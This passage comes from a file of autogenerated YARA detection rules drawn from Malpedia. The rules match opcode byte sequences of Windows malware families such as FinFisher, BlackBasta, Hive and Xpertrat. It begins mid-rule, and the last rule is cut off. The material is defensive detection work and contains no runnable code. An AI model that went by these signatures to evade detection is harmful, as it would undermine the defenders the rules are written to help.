		id = "3bd8079e-f604-51ea-b8f2-fef52df0002f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.finfisher_auto.yar#L1-L140"
		license_url = "N/A"
		logic_hash = "36bd2bd78748a7bd0a2049fe313cd0daa82b47af68134d330004d325ff7392ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 56 8d85ccf9ffff 50 }
		$sequence_1 = { 68???????? 6804010000 8d85ccf9ffff 50 }
		$sequence_2 = { 8d85bcf7ffff 50 6a01 56 56 }
		$sequence_3 = { 0f855b040000 8b85b0f7ffff 8b400c 8b8db8f7ffff 8908 89bda0f7ffff }
		$sequence_4 = { 6a04 56 ff15???????? 8bd8 3bdf 7561 }
		$sequence_5 = { e8???????? b982000000 8bf7 8dbddcfdffff f3a5 }
		$sequence_6 = { 48 7526 8b4508 8b4028 }
		$sequence_7 = { 56 53 50 ff15???????? eb05 }
		$sequence_8 = { 8d45f4 50 53 897508 e8???????? }
		$sequence_9 = { 8bd8 ff15???????? 8845ff 897df8 }
		$sequence_10 = { 8b7508 89b5ccfdffff 85f6 7508 }
		$sequence_11 = { 8bd8 3bde 0f8583030000 66c78572f7ffff0401 }
		$sequence_12 = { 6824020000 68???????? e8???????? 8b7508 }
		$sequence_13 = { 897de4 56 e8???????? 50 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Glooxmail_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "69068c2d-618b-514f-89ee-0c12a27c7775"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glooxmail_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "fd925824bd22779b63be73d9209717bd4d4f69fd8a16644a721055340873e4d2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d55c0 52 8d9564ffffff c645fc4a 8b01 52 ff5044 }
		$sequence_1 = { e8???????? 385df3 7407 c745ec40000000 68???????? 8d8d7cffffff e8???????? }
		$sequence_2 = { 6a01 8d8c24f0020000 81e3fff7ffff e8???????? f7c300040000 740f 56 }
		$sequence_3 = { 8d4dd8 e9???????? 8b4d08 e9???????? 8b4508 054c040000 e9???????? }
		$sequence_4 = { 814df000020000 68???????? 8d4db4 e8???????? 8d85b8feffff 50 8d45b4 }
		$sequence_5 = { 83a50cfffffff7 8d8d30feffff e9???????? c3 8d4db8 e9???????? 8d8dd8feffff }
		$sequence_6 = { 8bfb e8???????? 33f6 33ff 56 47 57 }
		$sequence_7 = { 895dcc f645d008 740e 8365d0f7 53 57 8d4d84 }
		$sequence_8 = { ff750c 83a424bc00000000 8d442430 50 e8???????? }
		$sequence_9 = { e8???????? c78424600800006d000000 f744241000000080 7417 81642410ffffff7f 53 }
	condition:
		7 of them and filesize < 761856
}

rule MALPEDIA_Win_Afrodita_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0b89d48b-e8eb-5aec-a4a1-cb25be8e6ea8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.afrodita_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "ba96a282578cd431adb4de4c63175081873626ab508dce847aa3397ecdd6e0da"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff75dc e8???????? 83c40c 84c0 0f84aa030000 }
		$sequence_1 = { 52 53 ff7508 8b4004 c645fc01 8b4c3038 8b01 }
		$sequence_2 = { e8???????? 83c404 c645fc09 8d8d6cffffff ff75a0 e8???????? 83e3df }
		$sequence_3 = { 6a7d 8d4d80 53 e8???????? e9???????? 83ff4d 0f8443010000 }
		$sequence_4 = { 33c8 8b45f0 3345e4 23c7 8b7ddc 3345e4 03c8 }
		$sequence_5 = { 837d1000 8b10 0f444d10 51 56 }
		$sequence_6 = { 2345e4 03ca 3345f4 03c1 8945e4 85db 7437 }
		$sequence_7 = { 51 8d4b04 ff5008 68???????? 50 8d45c0 c745fc00000000 }
		$sequence_8 = { 7445 833d????????00 743c 56 6a10 8d45ec 50 }
		$sequence_9 = { e8???????? eb05 e8???????? 83c404 8b9564ffffff 399560ffffff 8bb568ffffff }
	condition:
		7 of them and filesize < 2334720
}

rule MALPEDIA_Win_Turian_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "55f5d82f-afb8-5814-b531-1c9c01e3bde2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turian_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "91e36be52281255f5afb4546bb919f97cb536e7671085e0b38ecf9a977103ea1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5b 81c420040000 c3 8d442410 6a10 50 }
		$sequence_1 = { 33db 3bc3 7519 668b44240c 881d???????? 891d???????? }
		$sequence_2 = { 5e c3 8bc8 57 c1e105 }
		$sequence_3 = { 85c0 0f840affffff 5f 5e 5d 33c0 }
		$sequence_4 = { 83c9ff 33c0 668b15???????? f2ae }
		$sequence_5 = { 8d4c2410 51 e8???????? 8bbc24a0000000 83c404 a1???????? }
		$sequence_6 = { 51 52 ffd5 85c0 7423 a1???????? 43 }
		$sequence_7 = { 83f810 7e6a 6a00 57 53 }
		$sequence_8 = { 56 57 730c 5f }
		$sequence_9 = { 8b442414 50 ffd7 56 ff15???????? 83c404 33c0 }
	condition:
		7 of them and filesize < 645120
}

rule MALPEDIA_Win_Zupdax_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de5aa4fa-5f17-5443-8ded-540bc4f1be04"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zupdax_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "eb046345ff3af30eb975f6808cc5770691e59266f20f528282b1aa4111a1c56b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 8b06 50 895e0c 895e10 }
		$sequence_1 = { 8b4c2408 8b7e28 51 e8???????? 8b5624 52 e8???????? }
		$sequence_2 = { 56 57 33c9 33f6 33ff 394c2414 }
		$sequence_3 = { 7522 e8???????? 8b0d???????? 51 8b0d???????? }
		$sequence_4 = { e8???????? 83c408 8b4618 50 895e24 }
		$sequence_5 = { 51 e8???????? 83c418 8bc6 c3 }
		$sequence_6 = { 895e2c e8???????? 8b460c 83c404 3bc3 }
		$sequence_7 = { 52 e8???????? 83c408 8b06 50 895e0c 895e10 }
		$sequence_8 = { 3bc3 7419 8b4c2408 8b7e28 51 }
		$sequence_9 = { 8d4618 6a00 50 c706ffffffff }
	condition:
		7 of them and filesize < 1032192
}

rule MALPEDIA_Win_Bubblewrap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8af5c082-aa6b-50c2-beb7-d15cea5a0e28"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bubblewrap_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "9768a3ec06517eeb8d4ed3cf1b68ed17318c56d44232a674eb24375a5c01ec8d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c9ff f2ae f7d1 49 c605????????ee c605????????03 }
		$sequence_1 = { c21000 55 68???????? 6a01 6a00 ff15???????? }
		$sequence_2 = { 8915???????? 8b15???????? a3???????? 66a1???????? 880d???????? b910000000 }
		$sequence_3 = { 8bca 89442414 83e103 55 }
		$sequence_4 = { 83e103 f3a4 8dbc24ac000000 83c9ff }
		$sequence_5 = { e8???????? 83c408 be???????? b8???????? 8a10 }
		$sequence_6 = { c1e902 f3a5 8bca 83e103 f3a4 be???????? b8???????? }
		$sequence_7 = { 8bc1 894c2414 3bc5 0f821cffffff 8b6c2424 b967010000 33c0 }
		$sequence_8 = { 8b0d???????? 8b15???????? 894c0435 b920000000 8d742434 bf???????? }
		$sequence_9 = { 8b15???????? f2ae f7d1 49 bf???????? }
	condition:
		7 of them and filesize < 57136
}

rule MALPEDIA_Win_Evilgrab_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "262a5f1e-fc32-5e23-bc68-1916bf6229d5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilgrab_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "f2b39911d0e0c2e89edee53b595cd7abbfb96f83612f1946b2208648a7f155b2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b08 50 ff5108 83c8ff e9???????? 8b442410 50 }
		$sequence_1 = { ff15???????? 894320 83f8ff 741e c785dce6ffff00000000 c6431601 6a46 }
		$sequence_2 = { 0f8437feffff 8b442418 50 ff15???????? 5f 5e }
		$sequence_3 = { 68ff000000 e8???????? 8bd0 b93f000000 33c0 8bfa f3ab }
		$sequence_4 = { 55 56 3bc2 57 bd01000000 0f84ef010000 }
		$sequence_5 = { c78514f6ffff00000000 b8???????? c3 8b8df0f5ffff 8b5124 89951cf6ffff b8???????? }
		$sequence_6 = { ff8db4adffff 0f856dffffff 8d8dc0d2ffff 51 8bcb e8???????? e9???????? }
		$sequence_7 = { 57 8d8de8adffff 51 8d95dcadffff 52 8d85e0adffff 50 }
		$sequence_8 = { 33db 3bfb 7469 8b771c 3bf3 7462 395f20 }
		$sequence_9 = { 83f802 0f84ca000000 83f801 7567 3be8 750b 56 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Blackbasta_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5bbce9ec-7d54-5002-bc1c-a1c1392e7297"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackbasta_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "f2cab8177edfb4bc6b2c56a6c1db15098f849335780d0e48121fe5285763e5dd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7447 8d45d8 84d2 7402 8bc3 fe0430 eb33 }
		$sequence_1 = { c745e4e48c0a10 8b4508 8bcf 8b7510 c745e004000000 dd00 8b450c }
		$sequence_2 = { 42 895594 e9???????? 8b45ec c645fc0d 83f810 0f8293000000 }
		$sequence_3 = { 52 8d5594 52 8b01 ff503c 50 8d8decfeffff }
		$sequence_4 = { 83c404 807d6700 c645fc26 0f8481040000 8d45c4 33ff 50 }
		$sequence_5 = { 83c404 8bce 50 e8???????? 83e3ef 895df0 c645fc0c }
		$sequence_6 = { 8b4904 8b01 5d ff6048 2b49fc 83e970 e9???????? }
		$sequence_7 = { 6af6 ff15???????? 8b049d58cc0c10 8b4dfc 897c0118 33c0 5f }
		$sequence_8 = { e9???????? 397d34 7768 ffb564ffffff 8d4d0c e8???????? 8b4d8c }
		$sequence_9 = { e8???????? 03c6 13d7 8b75e4 3bd6 7f7a 8b4dec }
	condition:
		7 of them and filesize < 1758208
}

rule MALPEDIA_Win_Toughprogress_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f7aead55-8a03-5bbf-af11-1841c77b5719"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.toughprogress"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.toughprogress_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "639d2f4f2de7d57a54ced0a82f1a1b4924ec9dac72884175b29f7cbb63a0d4bc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48b93448af150d8462e4 4801c8 4c89e1 ffd0 488b05???????? 48b93b8ce2c7a3ecddc7 488b0408 }
		$sequence_1 = { ffd7 0f104508 0f104d18 0f105524 410f1154244c 410f114c2440 410f11442430 }
		$sequence_2 = { 48b93f5d14dd8256b94f 488b0408 4c01e8 4c89f9 4889fa 4189e8 ffd0 }
		$sequence_3 = { ffd0 898688000000 488d8e8c000000 488b05???????? 48bab6b1569bc6a2bb92 48033c10 ffd7 }
		$sequence_4 = { bd05000000 8d42cf 49bee5819fecd253eebe 83f809 0f8364020000 49bfdd819fecd253eebe 0f1f440000 }
		$sequence_5 = { 4989d3 4983e307 7420 4531d2 6690 420fbe3c11 66418938 }
		$sequence_6 = { 56 4883ec20 4889ce 488b05???????? 48b90d1dc3fe89299d3f 48ba098af7fc2873d775 48031408 }
		$sequence_7 = { 884101 440fb64202 4489c0 34e2 4420c0 4189c1 4180e1fa }
		$sequence_8 = { 84c0 0f85b2030000 488b07 4c8b36 0fb64f08 baffffffff 41baffffffff }
		$sequence_9 = { 4d89c6 4889d6 488b05???????? 49b89bc488db85ad3022 48baadb54d2cbea5f70f 4a8b0400 4801d0 }
	condition:
		7 of them and filesize < 3117056
}

rule MALPEDIA_Win_Hive_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "afed1177-c874-5c40-8ff0-eb8fbf356303"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hive_auto.yar#L1-L195"
		license_url = "N/A"
		logic_hash = "2741699b9ca4dafd7c3cf41d98fd9bcda89c6f9e810164b470706ce97b3270bd"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 31c0 b91d000000 31d2 31db }
		$sequence_1 = { 31c9 eb12 0fb6540c12 0fb63408 }
		$sequence_2 = { 89c2 e8???????? b801000000 e8???????? }
		$sequence_3 = { 31c9 31d2 31db 31f6 31ff eb09 }
		$sequence_4 = { 31c0 31c9 31d2 bb01000000 beae000000 }
		$sequence_5 = { 89d1 e8???????? b802000000 e8???????? }
		$sequence_6 = { 81c4b0000000 c3 e8???????? 90 }
		$sequence_7 = { 0fb6b40495000000 89d7 31f2 01c2 }
		$sequence_8 = { 89d1 e8???????? b901000000 e8???????? }
		$sequence_9 = { 0fb7442404 8b0c24 894c246a 668944246e 8b4c246a }
		$sequence_10 = { 0fb7744c12 89d7 31f2 01ca }
		$sequence_11 = { 31c9 31d2 bb04000000 beb8000000 }
		$sequence_12 = { 01c1 83c101 83f90c 0f820fffffff }
		$sequence_13 = { 89bc2478020000 81c438020000 c3 97 88442443 97 892c24 }
		$sequence_14 = { 01c8 89c1 c1e91f ffc9 }
		$sequence_15 = { 89bc2480000000 89b424c4000000 29ce 46 }
		$sequence_16 = { 01c1 c1e106 0fb6c2 01c8 }
		$sequence_17 = { 01c2 b8ffffff03 21c5 21c3 }
		$sequence_18 = { 01c8 c1e006 400fb6cf 01c1 }
		$sequence_19 = { 01c1 c1e106 400fb6d6 01ca }
		$sequence_20 = { 01ca c1e206 0fb6c3 01d0 }
		$sequence_21 = { 01c0 4000f8 0fb6c0 48898424b0000000 }
	condition:
		7 of them and filesize < 7946240
}

rule MALPEDIA_Win_Misfox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c26cb13-6097-513e-b029-4599c7648809"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.misfox_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "d0174e7f68a85bf1ff57434ec100f8da7228de9ad77dd40f610066f3391b57bd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85f4ebffff 50 8b8528e5ffff 8b048550870110 }
		$sequence_1 = { 8a0a 42 884dab 83f80b 0f877b020000 ff2485b4d30010 }
		$sequence_2 = { 8947fc 894c9308 81fe00010000 7ccc }
		$sequence_3 = { 85f6 75e8 8b5c2410 68???????? 8d8424e8000000 6a20 }
		$sequence_4 = { 0f85a0000000 8b4c240c 8d542418 50 50 50 }
		$sequence_5 = { 8b06 6a25 40 50 8d45d0 50 }
		$sequence_6 = { 8d8c24a4000000 c784245003000000000000 e8???????? 8d4c246c }
		$sequence_7 = { 8b4708 8d5704 8902 8b45b8 52 c70300000000 40 }
		$sequence_8 = { ff15???????? 483305???????? 488d15cabc0000 488bcb }
		$sequence_9 = { 442bc8 b8b1f98cb3 41f7e9 b8b1f98cb3 458d0411 41c1f80a }
		$sequence_10 = { 4c897c2438 8b442440 89442430 4c897c2428 4c897c2420 4533c9 }
		$sequence_11 = { 4889442450 e8???????? 488d053cf90000 488d15b56c0100 }
		$sequence_12 = { 7526 4c8d3505500100 493bde 7408 }
		$sequence_13 = { 803c3000 75f7 4c8bc6 488d542438 498bce e8???????? 498bc6 }
		$sequence_14 = { 0f114580 f20f100d???????? f20f114d90 8b05???????? 894598 }
		$sequence_15 = { e9???????? 4c8d25af510100 8bee 41bf01000000 }
	condition:
		7 of them and filesize < 266240
}

rule MALPEDIA_Win_Flashflood_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d9f5526b-ab62-532b-9666-be6697f92fbf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flashflood_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "446473d1c32fe4cdbf702296b6f8adbdf5ae7aa855f826a53c94075ec6207623"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? eb0c ff7508 ff75fc ff15???????? 3975fc 5e }
		$sequence_1 = { 8b45ec 52 8d55f8 52 8b08 6a10 }
		$sequence_2 = { 8b5508 8b427c 6bc00c 33c9 668b88ec914000 8b5508 }
		$sequence_3 = { c21000 b8???????? c3 33c9 394c2408 7e0f }
		$sequence_4 = { 8b45f4 25ffff0000 33c9 8a88b0984000 894de8 eb17 8b55f4 }
		$sequence_5 = { 8d853cf9ffff 50 ff15???????? 83c420 }
		$sequence_6 = { 33c0 eb0a 57 ff15???????? 6a01 58 5f }
		$sequence_7 = { 6a01 57 e8???????? 6a01 e8???????? }
		$sequence_8 = { 50 e8???????? ff45fc 83c610 }
		$sequence_9 = { 8a0406 8ad0 c0ea04 c0e004 02d0 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Expiro_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6fa4b0d5-e65d-5709-9429-c535e22a563a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.expiro_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "e9646f75b21b41c42f31fadf4efd1887628909c4616d1866a9062fcf7c528d57"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 e8???????? 83c404 385c2413 0f85ddfdffff b8???????? 8d4c2414 }
		$sequence_1 = { 02abd9737373 739b 057d737313 7173 7373 7373 }
		$sequence_2 = { 8d7558 c684244802000002 33c0 c7461407000000 895e10 668906 }
		$sequence_3 = { 367bf8 337ffa 36871b 49 16 62639b }
		$sequence_4 = { 56 6a00 6a00 ff15???????? b932000000 8bc3 33ed }
		$sequence_5 = { 8b06 33d2 5f 668910 8bc6 5b c20800 }
		$sequence_6 = { 668906 57 83c8ff 8bd6 e8???????? 897c2420 }
		$sequence_7 = { 8b4c241c 33cc b001 e8???????? 83c420 c3 6aff }
		$sequence_8 = { 50 8d7c247c c68424f802000003 e8???????? 83c404 c68424f402000002 837c243808 }
		$sequence_9 = { 83c8ff b9???????? 8d542450 89742464 897c2460 e8???????? }
	condition:
		7 of them and filesize < 3776512
}

rule MALPEDIA_Win_Grager_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a70321f6-0139-51d8-af48-e9ddd6504bcd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grager"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grager_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "d7bfc13c167a32046dd8425d3e3ec521c6bca90fe7d99db8d3d9dc97a5192526"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48898534020000 4c8bc7 89853c020000 8b83d0200000 898520020000 c7852402000004000010 }
		$sequence_1 = { 4c8d35a5e6ffff 0f1f440000 84c9 0f84d1010000 48ffc7 }
		$sequence_2 = { bb01000000 e9???????? 8b4a08 33db 488bbfc8050000 81c113fcffff 488b7218 }
		$sequence_3 = { 48890b 488d5308 488d4808 0f1102 e8???????? 488d058cdb0100 }
		$sequence_4 = { 0fb605???????? 88814e050000 33c0 89814f050000 888153050000 33ff 4889b958050000 }
		$sequence_5 = { 488bf9 488d1584a10100 b904000000 e8???????? 8bd3 488bcf }
		$sequence_6 = { 4c8d0d45c80000 f20f101d???????? f20f100d???????? f20f59da }
		$sequence_7 = { 4c8bc3 8d040e 488d8d44030000 898540030000 e8???????? 488d0dd61bfeff }
		$sequence_8 = { 5d c3 8bc7 4883c470 415f 415e 415c }
		$sequence_9 = { 4883ec20 8bd9 4c8d0d21eb0000 b904000000 4c8d050deb0000 488d1586c20000 e8???????? }
	condition:
		7 of them and filesize < 487424
}

rule MALPEDIA_Win_Xpertrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a2a3325a-1f3d-5b66-85b8-5585a72bc5f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xpertrat_auto.yar#L1-L155"
		license_url = "N/A"
		logic_hash = "aded1ec389d65d20277f2fe9db776abf2f31c80bf4b4d804698ab1524e2b5a6d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff08 40 0430 ff0a 4c 000c00 }
		$sequence_1 = { 045c ff4d40 ff08 40 }
		$sequence_2 = { 006c70ff 0808 008f38001b26 001b 0d002a2364 ff08 }
		$sequence_3 = { 0870ff 0d80000700 0474 ff0478 }
		$sequence_4 = { 0808 008a3800cc1c 5e 006c70ff 0808 008f38001b26 }
		$sequence_5 = { ff05???????? 000d???????? 0878ff 0d98000700 6e }
